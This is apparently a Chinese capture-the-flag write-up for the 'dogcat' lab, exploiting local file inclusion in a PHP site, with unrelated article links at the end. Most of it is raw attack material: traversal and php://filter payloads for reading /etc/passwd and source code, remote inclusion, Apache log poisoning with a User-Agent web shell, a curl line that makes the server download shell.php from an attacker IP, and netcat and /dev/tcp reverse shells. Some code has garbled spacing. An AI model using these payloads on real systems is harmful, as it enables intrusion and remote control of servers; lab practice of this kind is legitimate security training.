【靶机】dogcat

简介: dogcat简介:I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.整体有一定难度,不过你将学习到很多。

dogcat
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

讲解视频https://www.bilibili.com/video/BV1WN4y1w784/

<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>

 

一般的payload

http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc / passwd

passthru()
http://localhost/index.php?page = http://host.com/test.php
http://localhost/index.php?page = http://host.com/test.php? cmd = cat / etc /passwd

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd


http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
 
Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

cat/../../../../../../../var/log/apache2/access.log&ext
<?php%20eval($_POST[1]);?>
10.10.175.83
curl -A “<?php file_put_contents('shell.php',file_get_contents('http://10.10.0.56:9999/shell.php')>” -s http://10.10.175.83

<?php system($_GET['cmd']); ?>
curl -A “<?php file_put_contents('shell.php',file_get_contents('http://10.10.0.56:9999/shell.php')>” -s 10.10.173.156

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.56 4242 >/tmp/f

 

 

 

 

 

 

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

 

      <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

//类似于Java的三元运算符   条件一?条件二:条件三
//如果条件“expr1”成立,则执行语句“expr2”,否则执行“expr3”。
//检查是否提供了“ext”参数,如果没有,它默认将“.php”添加到我们的文件名

            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>

 

payload = cat/../../../../../../../var/log/apache2/access.log&ext

bash -i >& /dev/tcp/10.10.100.225/9898 0>&1
目录
相关文章
|
存储 缓存 关系型数据库
高性能Mysql-逻辑架构
高性能Mysql-逻辑架构
356 0
|
12月前
|
前端开发 关系型数据库 MySQL
PHP:从入门到高效的Web开发利器
PHP:从入门到高效的Web开发利器
335 117
|
网络协议 网络安全 网络虚拟化
路由器详细讲解
路由器是连接不同网络并转发数据包的关键设备,工作在OSI模型第三层(网络层)。它通过路由表选择最佳路径,支持数据转发、NAT转换、防火墙保护等功能。路由器分为家用、商用和工业级,各有针对性的性能与功能。其配置包括硬件连接、登录管理界面及网络、无线、安全等设置,选购时需关注处理能力、无线速率、端口速率和功能需求等关键指标。
1974 22
|
存储 编解码 JavaScript
【简创AIGC】创建剪映草稿
CREATE_DRAFT接口用于创建剪映草稿,支持自定义视频宽高(如1080P、720P、竖屏等)。成功后返回草稿URL及使用指南,适用于多种视频编辑场景。
1080 2
Request Headers 中的 Accept 是 text/event-stream
Request Headers 中的 Accept 是 text/event-stream
2800 0
|
编解码 Ubuntu Linux
Linux Mint vs Ubuntu:哪个更适合初学者?
由于Linux Mint只是Ubuntu的更漂亮版本,因此两种发行版的游戏功能没有太大差异。只要您拥有最新的英伟达或Mesa(AMD)驱动程序,就应该没问题。
|
运维 定位技术 网络虚拟化
|
自然语言处理 安全 API
1688 跨境属性 API 接口(1688API 系列)
1688跨境属性API助力跨境电商发展,提供商品目标市场适配、跨境物流、国际认证及语言文化属性等数据,支持HTTP GET/POST请求。开发者可通过商品ID、目标市场代码和语言参数精准获取信息,提升业务效率与精准度。示例代码展示了如何使用Python进行GET请求,获取商品跨境属性,确保数据准确可靠。
|
存储 安全 数据安全/隐私保护
kali工具 -- setoolkit(克隆网站及利用)
kali工具 -- setoolkit(克隆网站及利用)
1644 1
|
安全 生物认证 网络安全
双重身份验证:数字安全的坚固防线
【8月更文挑战第31天】
1809 1